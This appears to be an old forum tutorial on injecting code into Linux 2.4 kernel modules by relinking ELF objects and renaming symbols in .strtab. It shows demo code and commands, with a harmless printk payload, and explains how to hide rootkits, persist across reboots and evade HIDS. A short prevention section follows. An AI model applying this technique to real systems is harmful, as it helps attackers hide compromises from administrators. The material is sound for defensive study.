Once again I don't know if this has been covered or not yet, but here ya go:

INTRO:
I don't remember where I learned about Loadable Kernel Module injection, so I cant give the appropriate credit. While these are my own explanations, I certainly did not come up with the theory behind LKM injection. This is aimed at the 2.4 kernel, but can be applied to many other OS's. What people use LKM injection for is usually (to my knowledge) running and hiding rootkits. So this is assuming that a box has already been compromised and root privileges have been obtained by someone. Usually, a rootkit is installed to hide the fact that the box has been compromised. LKM injection provides a way to inject code into a kernel module. If done correctly, and with a little luck, LKM injection can run a rootkit without setting off an HIDS and can also survive a reboot. However, it is rather easy to detect LKM injection and I will explain how to do so at the end as usual.

ELF:
Linux uses the ELF file format for executable files. ELF stands for Executable and Linking Format. LKM's are ELF objects and ELF objects have two sections associated with them that are responsible for storing symbol information. These sections are known as .symtab and .strtab. Data necessary for the use of symbols by the linker is stored in .symtab and NULL terminated strings are stored in the .strtab file. Since LKM's are ELF objects, each LKM has an associated .symtab and .strtab.

MODULES:
A little background on the structure of a kernel module is necessary. Modules have two functions called 'init_module(void)' and 'cleanup_module(void)'. As you probably guessed, when you first load a module, init_module is called, and when you unload a module, cleanup_module is called. These are standard for modules (although I do not believe the names have to be init_module and cleanup_module).

INJECTION:
It was discovered by someone smarter than I that the address of init_module for any module is stored as a NULL terminated string within the module's .strtab. This can be determined by looking at the source code '/usr/src/linux/kernel/module.c' and at insmod.c (the code used to load modules). Alright so if we know that the address of init_modules for any module is stored in .strtab, we can change the address of init_module to point to any function we want. Here is a small example, check it out:

$ cat lkm_inject_test.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void)
{
printk("<1> In init_module()\n");
return 0;
}

int inject_module(void)
{
printk("<1> In inject_module()\n");
return 0;
}

int cleanup_module(void)
{
printk("<1> In cleanup_module()\n");
return 0;
}
This is just a simple little module to demonstrate how we can manipulate the init_module address to run another function. Take a look

$ gcc -c lkm_inject_test.c -o lkm_inject_test.o
$ objdump -t lkm_inject_test.o

lkm_inject_test.o: file format elf32-i386
SYMBOL TABLE:
0000000000000000 l df *ABS* 0000000000000000 lkm_inject_test.c
0000000000000000 l d .text 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d .bss 0000000000000000
0000000000000000 l d .modinfo 0000000000000000
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 g F .text 0000000000000014 init_module
0000000000000000 *UND* 0000000000000000 printk
0000000000000014 g F .text 0000000000000014 inject_module
0000000000000028 g F .text 0000000000000014 cleanup_module
Alright look at that.... Can anyone guess what we are gonna do next?? By modifying the symbol names, we can effectively make inject_module become init_module. Only two simple changes are needed (NOTE: 2 symbols cannot have the same name in the same ELF file).

rename init_module to old_module
rename inject_module to init_module

To change the symbols in .strtab, I use a short C program I found on the internet. I will not post the source, as it is not my program, but if you want to see how it is done, I direct you to www.google.com (not gonna lie, changing the ELF .strtab was a bit over my head, but I seem to grasp it now). So what we are going to do is use a program to change the entries in the .strtab file. Check it out

$ ./changeelfstr lkm_inject_test.o init_module old_module
$ ./changeelfstr lkm_inject_test.o inject_module init_module
$ objdump -t lkm_inject_test.o

lkm_inject_test.o: file format elf32-i386

SYMBOL TABLE:
0000000000000000 l df *ABS* 0000000000000000 lkm_inject_test.c
0000000000000000 l d .text 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d .bss 0000000000000000
0000000000000000 l d .modinfo 0000000000000000
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 g F .text 0000000000000014 old_module
0000000000000000 *UND* 0000000000000000 printk
0000000000000014 g F .text 0000000000000014 init_module
0000000000000028 g F .text 0000000000000014 cleanup_module
OK, we can see that the init_module string in .strtab now has the address of our inject_module function. Now when the module is loaded, init_module's will be found from the .strtab file and will execute inject_module. Let's see

# insmod lkm_inject_test.o
# tail -n 1 /var/log/kernel
Jun 8 12:47:52 accelerator kernel: In inject_module()
Yahztee, but this is no good, since we aren't really injecting any code, just running another function. Now we will see how to inject code and then edit the .strtab. This time we will create two files, one will be the test module and the other will be the code to be injected. Have a look

$ cat lkm_inject_test.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void)
{
printk("<1> In init_module()\n");
return 0;
}

int cleanup_module(void)
{
printk("<1> In cleanup_module()\n");
return 0;
}

$ cat lkm_inject.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>


int inject_module (void)
{
printk ("<1> Injected\n");
return 0;
}
Pretty straight forward, a typical module and some code to inject. Let's compile:

$ gcc -c lkm_inject_test.c -o lkm_inject_test.o
$ gcc -c lkm_inject.c -o lkm_inject.o
Now, the actual injection occurs because of the nature of kernel modules. Kernel modules are relocatable ELF files, which means objects can be linked together to share symbol tables. So if we are to link these two files together, they would share the same symbol table which we could alter. Code follows:

$ ld -r lkm_inject_test.o lkm_inject.o -o inject_test.o
$ mv inject_test.o lkm_inject_test.o
$ objdump -t lkm_inject_test.o

lkm_inject_test.o: file format elf32-i386

SYMBOL TABLE:
0000000000000000 l d .text 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .modinfo 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d .bss 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l df *ABS* 0000000000000000 lkm_inject_test.c
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000000 l df *ABS* 0000000000000000 lkm_inject.c
0000000000000016 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000014 g F .text 0000000000000014 cleanup_module
0000000000000000 g F .text 0000000000000014 init_module
0000000000000000 *UND* 0000000000000000 printk
0000000000000028 g F .text 0000000000000014 inject_module
Looking good, we have injected our code into the module by linking the relocatable ELF files together. Now we just change the .strtab file like before to execute our injected module. Check it out

$ ./changeelfstr lkm_inject_test.o init_module old_module
$ ./changeelfstr lkm_inject_test.o inject_module init_module
# insmod lkm_inject_test.o
# tail -n 1 /var/log/kernel
Jun 8 13:04:02 accelerator kernel: Injected

Success. We have injected code into the kernel module and were able to execute it. However, this will never pass on a true system because the module is never actually loaded! This would set off all kinds of errors and would draw attention to the module (something you don't want). In order to circumvent this kind of attention, we can have our injected code actually call init_module. This way when the module is loaded, the injected function calls init_module, which loads the real module itself, and then runs our injected code. This way, our injected code is run and the module is loaded and operating correctly. This is a simple modification to our injection code, so i will not repost it. So now it is done. We have injected code into a loadable kernel module. On a real box that has been compromised, one might inject a rootkit into a loadable kernel module to cover up his/her tracks.

To survive a reboot, we can take a nice, new, infected kernel module and replace the original module in /lib/modules. This will ensure that our infected kernel module will be loaded after a reboot and our backdoor will remain. The bonus here is that kernel modules are neither executable, nor is the suid bit set, and therefore most generic HIDS configurations will not look for changes in kernel modules. This brings us to prevention of loadable kernel modules.

PREVENTION
.......I can think of one quick way to prevent infected LKMs from messing with your system. Make you HIDS watch for changes in kernel modules. This will tell you that your system is compromised, and that a rootkit was probably installed. I don't know of any other prevention techniques (chkrootkit probably) but to be safe, I would have your HIDS watch for changes in kernel modules.

CONCLUSION
I hope you learned about LKM injection and how to prevent it. I wish I had documented where I learned about this so I could give the appropriate credit. Just know that there is someone out there smarter than me that came up with this. Props. I'm done